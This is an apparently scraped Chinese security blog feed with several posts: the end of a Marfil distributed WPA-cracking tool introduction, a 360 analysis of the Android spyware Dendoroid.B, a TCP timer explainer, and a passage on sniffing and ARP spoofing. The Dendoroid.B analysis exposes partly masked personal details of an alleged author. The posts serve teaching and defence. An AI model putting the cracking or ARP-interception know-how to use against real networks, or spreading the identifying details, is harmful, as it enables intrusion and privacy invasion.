&lt;p&gt;我们都知道 Aircrack-ng 套件，为我们提供了许多用于无线破解的工具。其中 aircrack-ng 工具，就是一个专门用于 802.11 WEP 和 WPA / WPA2-PSK 密钥破解的程序。由于无线的保护力度不断加大，现在市面上大多数无线都采用 WPA / WPA2-PSK 的方式进行加密 。因此我们想要破解密码，则必须使用字典或单词列表。这些字典越大，则我们所需的破解时间就越长。这还得看你的硬件配置如何，如果配置较低，破解任务可能需要几天或几个星期不等。或许此时你的旁边有一些额外的硬件设备，原本可以帮你共同来完成任务。但你无法使用 aircrack-ng 让他们之间实现分布式破解。那么你只能选择其中一个速度较快的设备，而白白浪费了另外的破解资源。Marfil 就是为了解决这个困扰，而被开发出来的。&lt;/p&gt;
&lt;p&gt;Marfil 是一个基于 php 语言开发的工具，它能在不同节点之间实现分布式破解。它的实现原理也非常简单：将原本非常大的字典进行拆分，并将其分布在其余节点上。而不是像原本那样，只使用一个节点来破解单个 .cap 文件。过程如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.在服务器节点中配置使用字典。&lt;/p&gt;
&lt;p&gt;2.客户端节点向服务器发送破解请求。（包括.cap文件和目标网络的 BSSID）&lt;/p&gt;
&lt;p&gt;3.客户端请求服务器开始工作。&lt;/p&gt;
&lt;p&gt;4.开始工作后，服务器向客户端响应 .cap 文件 和 BSSID 以及字典片段。&lt;/p&gt;
&lt;p&gt;5.客户端自行执行破解，并在完成后返回结果。&lt;/p&gt;
&lt;p&gt;6.服务器根据结果更新破解请求状态。&lt;/p&gt;
&lt;p&gt;7.最终，.cap 文件将针所有未成功，或找到密码部分的字典进行处理。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="aircrack-ng-扩展要求"&gt;&lt;strong&gt;Aircrack-ng 扩展要求&lt;/strong&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;1.aircrack-ng 套件&lt;/p&gt;
&lt;p&gt;2.PHP &amp;gt;= 5.5.9&lt;/p&gt;
&lt;p&gt;3.PHP5 SQLite 模块（ &lt;strong&gt;只有服务器端需要&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;4.Composer （ &lt;strong&gt;依赖管理工具，需要时可安装&lt;/strong&gt;）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Marfil 目前仅在 Linux 系统上进行了测试。但它的使用方式及工具，都是相对独立于平台的。因此，它也应该能在 Windows 或 Mac上工作。&lt;/p&gt;
&lt;h2 id="aircrack-ng-扩展-marfil-设置"&gt;Aircrack-ng 扩展: Marfil 设置&lt;/h2&gt;
&lt;h3 id="初始设置和字典配置"&gt;&lt;strong&gt;初始设置和字典配置&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1.下载最新的发行版 Marfil 文件。&lt;/p&gt;</description></item><item><title>远控木马Dendoroid.B分析报告</title><link>https://www.lucien116.com/archives/224/</link><pubDate>Wed, 14 Dec 2016 07:19:19 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=224</guid><description>&lt;p&gt;&lt;strong&gt;近期，360团队截获了一款功能强大的专业间谍软件，它可以通过PC端远程控制中招用户的手机，控制指令高达二十多种，窃取用户手机通讯录，短信，照片及其它重要隐私数据。这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似，所以我们将其命名为Android.Dendoroid.B。&lt;/strong&gt; &lt;strong&gt;一、木马Android受控端恶意行为分析&lt;/strong&gt; &lt;strong&gt;1.释放文件，隐藏图标，启动恶意服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Android.Dendoroid.B启动后会根据系统版本释放自身Assets目录下的testv7或testv5文件到/data/data/{packagename}目录下重命名为test；申请Root权限，释放su后门文件ssu到/system/bin目录下。隐藏自身图标，运行test文件：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298462692.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;test为ELF文件，主要功能为通过命令行的方式启动恶意服务WorkServer：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298474131446.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;2.频繁结束安全软件进程&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们发现该木马在各处重要的恶意行为节点上频繁地结束国内主流安全软件进程，破坏安全软件正常运行，木马的自我保护给用户手机带来更大安全风险：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298481332835.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298481337071.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;能够结束以下安全软件：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298481879487.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;3.通话过程中自动录音&lt;/strong&gt; &lt;strong&gt;通过监控电话状态改变，来实现通话录音，每当被控手机来电时，木马会自动开启录音功能，并保存录音文件：&lt;/strong&gt; &lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/1429848223154.jpg!small"&gt;&lt;/a&gt; &lt;strong&gt;4.通过联网获取指令的方式实现远程控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过向中招手机发送不同的指令，以达到相应的行为控制。指令名称、功能及向PC端返回的响应如下表：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298482559252.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;5.暂未实现的其它功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;木马受控端除了以上这些功能，我们还在代码中发现了解密微信聊天记录的部分代码，以及通过短信指令远程控制的代码，但该部分代码未被调用：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298482884676.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;二、FTP服务器分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从上面的指令列表中，可以发现隐私数据大部分都被上传到了病毒作者的FTP服务器，地址为121.199.2*.***，用户名和密码为root，登录进去后，FTP中的文件列表如下：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298483355110.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在服务器中我们发现并梳理了以下几个重要的文件，其中一些文件是已经从用被监控手机中实际上传的用户隐私：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298483581550.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中bf.zip中是一个工程名为“SimpleServer”的Java代码，我们通过分析这个工程代码发现其主要功能是为了解析PC主控端与手机APK受控端之间的通信，关系如图：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298483813586.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;解析Android受控端发送的指令的代码：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298484099131.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;解析PC主控端发送指令的代码：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298484394272.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另一个文件“muma.rar”以“木马”拼音命名不得不引起我们的关注，我们发现这个里面有大量.php文件并且发现了下面这个图片，由此可以看出这正是去年我们播报过的Android.Dendoroid的源码，这也是我们将该木马命名为Android.Dendoroid.B的另一个原因。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298485747471.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;三、木马PC主控端分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FTP上的PE文件MySocketServer.exe是木马Android.Dendoroid.B的主控端，主控端用于发送远控指令和接收受控端返回的隐私信息。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298486395200.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们在实际验证中点击了联系人按钮，很快返回了中招用户手机中的联系人列表：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298486646481.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外，我们还在该软件上发现了一个网址 &lt;a href="http://www.yunkong8.com/"&gt;http://www.yunkong8.com/&lt;/a&gt; ，该网址显示是一个专业的监控类软件售卖的网站，软件功能页面中介绍可以用手机或者使用其他电脑浏览网页来远控指定的PC客户端，网站中没有提到可以通过PC端远控手机端，我们猜测这有可能是未公开的软件功能或是定制版本。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298487097327.jpg!small"&gt;&lt;/a&gt;&lt;strong&gt;四、感染用户&lt;/strong&gt; &lt;strong&gt;根据360互联网安全中心数据显示，最近两个月里有若干用户感染了该木马，地区包括：蚌埠、荆州、武汉、海口。&lt;/strong&gt; &lt;strong&gt;五、关于病毒作者&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从受控端样本代码中发现，我们还在一个未调用的Mail类中，发现了一个QQ邮箱：84777****@qq.com，该类无任何调用，通过360全量样本的大数据的计算回查，发现该QQ邮箱曾用在了多个恶意样本中，而这些样本具有相同的Mail类并能够被正常调用。因此可以得出，该木马是经过了不断演变进化的，历史上曾经使用邮件的方式窃取用户隐私，而当前已经演变成使用FTP窃取回传隐私，回传的内容更加丰富，方式更加隐蔽&lt;/p&gt;
&lt;p&gt;针对此qq号我们进行了追寻，发现是来自四川泸州昵称为“老A”的程序员。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298487753648.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298487768314.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通过进一步追踪，定位到了“老A”的具体信息：&lt;/p&gt;
&lt;p&gt;杨**（常用昵称：lzyyf，老A）&lt;/p&gt;
&lt;p&gt;2010级泸州二中&lt;/p&gt;
&lt;p&gt;2013年9月至2017年9月，就读韩国蔚山大学&lt;/p&gt;
&lt;p&gt;曾经使用另一QQ号：139*******，并曾经于2014年初在多个论坛中扩散类似木马&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298488752055.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298488766117.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298488785459.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298488811690.jpg!small"&gt;&lt;/a&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298488811135.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在他的微博中也多次发布木马信息：&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.droidsec.cn/%e8%bf%9c%e6%8e%a7%e6%9c%a8%e9%a9%acdendoroid-b%e5%88%86%e6%9e%90%e6%8a%a5%e5%91%8a/" title="远控木马Dendoroid.B分析报告"&gt;&lt;img alt="远控木马Dendoroid.B分析报告" loading="lazy" src="http://image.3001.net/images/20150424/14298489355175.jpg!small"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通过360后台云查信息等大数据分析，我们发现还有其他的一些人员也与木马有关，猜测可能是买马人。&lt;/p&gt;
&lt;p&gt;手机串号              所在地&lt;/p&gt;
&lt;p&gt;35291106045****    中国 东北 黑龙江省 哈尔滨市&lt;/p&gt;
&lt;p&gt;35713905461****     中国 华南 广东省 深圳市&lt;/p&gt;
&lt;p&gt;35260505594****     中国 华东 江西省 南昌市&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;六、总结&lt;/strong&gt; &lt;strong&gt;从Android.Dendoroid.B木马家族可以看出，这种伪装成系统应用的远控类隐私窃取木马家族，不是依靠第三方市场传播而是通过网站售卖或地下黑产交易，然后被不法人员植入到指定的监控对象中，它具备单点传播，感染特定对象，潜伏时间长，造成单点损失大等特点。建议用户提高个人隐私保护意识，同时安装安全软件定期扫描检查软件安全性。&lt;/strong&gt; &lt;strong&gt;我们将继续紧密关注这类木马家族的发展并提供安全保护方案。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>TCP-IP详解卷1-21：TCP的超时与重传（Timeout and Retransmission）</title><link>https://www.lucien116.com/archives/221/</link><pubDate>Tue, 29 Nov 2016 13:08:31 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=221</guid><description>&lt;p&gt;一：介绍
1： 与数据链路层的ARQ协议相类似，TCP使用超时重发的重传机制。
即：TCP每发送一个报文段，就对此报文段设置一个超时重传计时器。
此计时器设置的超时重传时间RTO（Retransmission Time－Out）应当略大于TCP报文段的平均往返时延RTT，一般可取RTO＝2RTT。
但是，也可以根据具体情况人为调整RTO的值，例如可以设置此超时重传时间RTO＝90秒。
当超过了规定的超时重传时间还未收到对此TCP报文段的预期确认信息，则必须重新传输此TCP报文段。&lt;/p&gt;
&lt;p&gt;二：四种定时器
1： 重传计时器（retransmission timer）：当TCP发送报文段时，就创建该特定报文段的重传计时器。可能发生两种情况：
A： 若在计时器截止时间到（通常是60秒）之前收到了对此特定报文段的确认，则撤销此计时器。
B： 若在收到了对此特定报文段的确认之前计时器截止期到，则重传此报文段，并将计时器复位。
2： 坚持计时器（persist timer ） ：为了对付零窗口大小通知，TCP需要另一个计时器。
假定接收TCP宣布了窗口大小为零。发送TCP就停止传送报文段，直到接收TCP发送确认并宣布一个非零的窗口大小。但这个确认可能会丢失。
我们知道在TCP中，对确认是不需要发送确认的。若确认丢失了，接收TCP并不知道，而是会认为它已经完成任务了，并等待着发送TCP接着会发送更多的报文段。但发送TCP由于没有收到确认，就等待对方发送确认来通知窗口的大小。双方的TCP都在永远地等待着对方。
要打开这种死锁，TCP为每一个连接使用一个坚持计时器。当发送TCP收到一个窗口大小为零的确认时，就启动坚持计时器。当坚持计时器期限到时，发送TCP就发送一个特殊的报文段，叫做探测报文段。这个报文段只有一个字节的数据。它有一个序号，但它的序号永远不需要确认；甚至在计算对其他部分的数据的确认时该序号也被忽略。探测报文段提醒对端：确认已丢失，必须重传。
坚持计时器的值设置为重传时间的数值。但是，若没有收到从接收端来的响应，则需发送另一个探测报文段，并将坚持计时器的值加倍和复位。发送端继续发送探测报文段，将坚持计时器设定的值加倍和复位，直到这个值增大到门限值（通常是60秒）为止。在这以后，发送端每隔60秒就发送一个探测报文段，直到窗口重新打开。
3： 保活计时器（keepalive timer ） ：保活计时器使用在某些实现中，用来防止在两个TCP之间的连接出现长时期的空闲。
假定客户打开了到服务器的连接，传送了一些数据，然后就保持静默了。也许这个客户出故障了。在这种情况下，这个连接将永远地处理打开状态。
要解决这种问题，在大多数的实现中都是使服务器设置保活计时器。每当服务器收到客户的信息，就将计时器复位。
保活计时器通常设置为2小时。若服务器过了2小时还没有收到客户的信息，它就发送探测报文段。
若发送了10个探测报文段（每一个相隔75秒）还没有响应，就假定客户出了故障，因而就终止该连接。
4： 时间等待计时器（2MSL timer ）：时间等待计时器是在连接终止期间使用的。
当TCP关闭一个连接时，它并不认为这个连接马上就真正地关闭了。
在时间等待期间中，连接还处于一种中间过渡状态。
这就可以使重复的FIN报文段（如果有的话）可以到达目的站因而可将其丢弃。
这个计时器的值通常设置为一个报文段的寿命期待值的两倍。&lt;/p&gt;
&lt;p&gt;三：拥塞控制用到的术语
数据段：一个数据段就是任意的TCP/IP数据或确认包（或两者兼备）。
发送端最 &lt;a href="http://lib.csdn.net/base/spark" title="Apache Spark知识库"&gt;大数据&lt;/a&gt; 段尺寸（SMSS）:SMSS是发送端能发送的最大数据段的尺寸。这个值是以网络最大传送单元（MTU），MTU路径发现 &lt;a href="http://lib.csdn.net/base/datastructure" title="算法与数据结构知识库"&gt;算法&lt;/a&gt;，RMSS(见下一项)，或其它因素为基础的。该尺寸不包括TCP/IP头和选项。
接收端最大数据段尺寸（RMSS）:RMSS是接收端愿意接收的最大数据段的尺寸。这个值在连接开始时接收端发送的MSS选项中说明。又或者，如果MSS选项没有使用，就是536字节[Bra89].该尺寸不包括TCP/IP头和选项。
满尺寸数据段：一个包括允许最大数目数据的数据段（也就是说，一个包括SMSS字节数据的数据段）。
接收端窗口（rwnd）：最近通知的接收端窗口。
拥塞窗口（cwnd）：一个TCP状态参量，代表着一个TCP允许发送的最大数据量。在任意
一个给定的时刻，TCP不会发送序号大于最大确认序号和cwnd、rwnd中较小者的数据。
初始窗口（iw）：初始窗口是三次握手完成后发送端的拥塞窗口的尺寸。
丢失窗口（lw）：丢失窗口是在一个TCP根据它的重传定时器检测到了数据丢失之后，拥塞窗口的尺寸。
重启窗口（rw）：重启窗口是TCP在一段闲置期之后重新开始传送后拥塞窗口的尺寸（如果使用慢启动算法；参见4.1节以获取更多的讨论）。
传送尺寸：已经被发送但还没有确认的数据的总量。&lt;/p&gt;</description></item><item><title>详解嗅探(被动嗅探)与ARP欺骗(主动嗅探)</title><link>https://www.lucien116.com/archives/220/</link><pubDate>Tue, 29 Nov 2016 13:01:26 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=220</guid><description>&lt;p&gt;关于嗅探与ARP欺骗的原理，网络上有很多很好的帖子和文章，但大部分都忽略了数据在网络中的转发过程。实际上用嗅探和ARP欺骗来做标题有点忽悠的成分，因为嗅探本身就包含了主动嗅探和被动嗅探，欺骗的目的只是让数据经过本机，即：主动嗅探=ARP欺骗+抓包。&lt;/p&gt;
&lt;p&gt;若未加说明，文章中的三层指的是网络层，二层指的是数据链路层。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一.数据在网络中的转发过程：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1.数据在交换网络中的传输过程如下图(PC1发包给PC2)&lt;/p&gt;
&lt;p&gt;注:此图是以公网网络为基础，如果PC为内网或者加入私有网络则在出口要考虑NAT等情况&lt;/p&gt;
&lt;p&gt;a)PC1发现目标IP110.1.1.2(网络号110.1.1.0)与本机不在同网段(掩码为24位，所以本机网络号为1.1.1.0)，因此PC1会将数据包丢给网关，为了数据报文能够到达网关，PC1封装的报文里头会以网关的MAC作为目的MAC(网络数据传输，原目的IP不变，原目的MAC通过三层网络时会不断改变)。&lt;/p&gt;
&lt;p&gt;b)数据报文到达二层交换机(这里只涉及二层交换，如果是三层交换机并设置了端口IP，则会有所不同)后，由于二层交换机拆解数据报文时只拆解到二层(只拆解到原目的MAC),根本看不懂IP，所以会查找MAC-接口映射表(所谓的建立虚拟链路)，发现网关MAC对应的是E5口，则将数据包从E5口丢出去。&lt;/p&gt;
&lt;p&gt;c)路由器R1收到数据报文后查看原目的IP(路由器属于三层设备，拆解数据包到IP层)，查看数据包的目的IP为110.1.1.1，进而查找路由表，发现数据要到达目的网络，数据包必须往下一跳218.1.1.2发送，因此路由器对数据包进行重封装，查看ARP表，原、目的IP保持不变，将原MAC修改成R1出接口(连接到R2的那个端口)的MAC地址，目的MAC改成R2的进接口(R2接R1的接口MAC地址)，接下来和二层传输一样，将数据包丢给R2。&lt;/p&gt;
&lt;p&gt;d)R2收到数据包后与R1做的操作一样，直到数据报文到达目标。根据之前的步骤可以推出数据报文到达目标后，原IP、目的IP不变，原MAC为R2接PC2的接口MAC、目的MAC为PC2的MAC。PC2发现数据报文的目的IP和目的MAC与本机相符(非攻击者)，从而拆解数据包，获得数据报文内容。回复报文的时候和之前的传输一样。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://files.jb51.net/file_images/article/201509/2015916104133180.jpg?2015816104149"&gt;&lt;/p&gt;
&lt;p&gt;2.数据在共享网络中的传输图(PC1发包给PC2)&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://files.jb51.net/file_images/article/201509/2015916104209278.jpg?2015816104220"&gt;&lt;/p&gt;
&lt;p&gt;数据报文在共享网络中的传输和交换网络唯一的不同在于第二个步骤，交换网络中交换机会根据MAC-端口对应表进行传输，也就是说除了网关(以图为例)，其他同交换机下的PC机无法收到数据报文(没出现攻击的情况下)。而在共享网络中，由于HUB属于一层设备，对于到达本身的数据报文，HUB会对报文进行广播(除了收到报文的那个接口)，因此接在同HUB的所有PC都能收到该报文。注：通常情况下，网卡都是工作在非混杂模式，也就是说即使收到数据报文，网卡会判断目的MAC是否和自己的一样，不一样的话代表数据包不是给自己的，因此会丢弃，只接收那些目的MAC和自己一样的数据报文。在嗅探时必须开启混杂模式，在该模式下，网卡不对数据报文进行判断，一锅端!二.ARP欺骗：1.欺骗过程及原理从上面的数据报文传输过程可以知道二层传输是通过MAC进行传输的，在传输过程中PC需要查询ARP表。因此攻击者只要可以改变目标的ARP表就能实现攻击,从而将数据牵引到自己的机器上，如图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://files.jb51.net/file_images/article/201509/2015916104242224.jpg?2015816104253"&gt;&lt;/p&gt;
&lt;p&gt;a)在正常情况下，PC1通过本地ARP表知道网关1.1.1.2的MAC地址为1.1.1.10260.8c01.1111，所以PC1封装包的时候会将目的MAC设置成路由器的MAC地址。交换机通过MAC-端口对应表能够正常的将数据报文从E1口转发给路由器，实现数据传输。&lt;/p&gt;
&lt;p&gt;b)黑客对PC2有完全的控制权，通过不断发送(假冒的)ARP报文告诉PC1，自己才是1.1.1.1对应的MAC是0260.8c01.1113。&lt;/p&gt;
&lt;p&gt;c)PC1收到黑客发的ARP报文后，刷新自己的ARP表，将1.1.1.1的MAC误认为是0260.8c01.1113。&lt;/p&gt;
&lt;p&gt;d)PC1将要访问外网数据报文的目的MAC设置成0260.8c01.1113(PC2的MAC,目测PC1被自己的ARP表给骗了)。&lt;/p&gt;
&lt;p&gt;e)交换机通过拆解包发现目的MAC对应的端口为E4(PC2的那个接口，连锁反应了!)，就将数据报文从E4口丢出。&lt;/p&gt;
&lt;p&gt;f)PC2成功得到PC1发往外网的请求报文。偷看后重新封包，原IP、目的IP不改变，将原MAC改成PC2的MAC，目的MAC改成网关的(数据包恢复正常，看起来和没攻击时PC1发出的报文完全一样)，PC2修改完后将数据包丢给交换机，从而欺骗实现，当然对于该包的回应报文，由于路由器ARP表没被污染，所以能够正常的将返回报文直接丢给PC1。&lt;/p&gt;
&lt;p&gt;2.如何选择欺骗方向 在欺骗过程中，选择正确的欺骗方向也是很重要的，通过阅读我们可以看到上面的欺骗方向是PC1à网关。那么我们如何确定正确的欺骗方向呢?&lt;/p&gt;
&lt;p&gt;a) 员工工作网络，我们知道正常请求报文里面含有大量的敏感信息，如网站管理后台账户密码等。而请求包的走向是员工PCà网关，如果黑客控制的电脑与员工内部同一网段，那么正常情况下黑客会欺骗员工的PC机自己是网关，从而截获请求报文&lt;/p&gt;
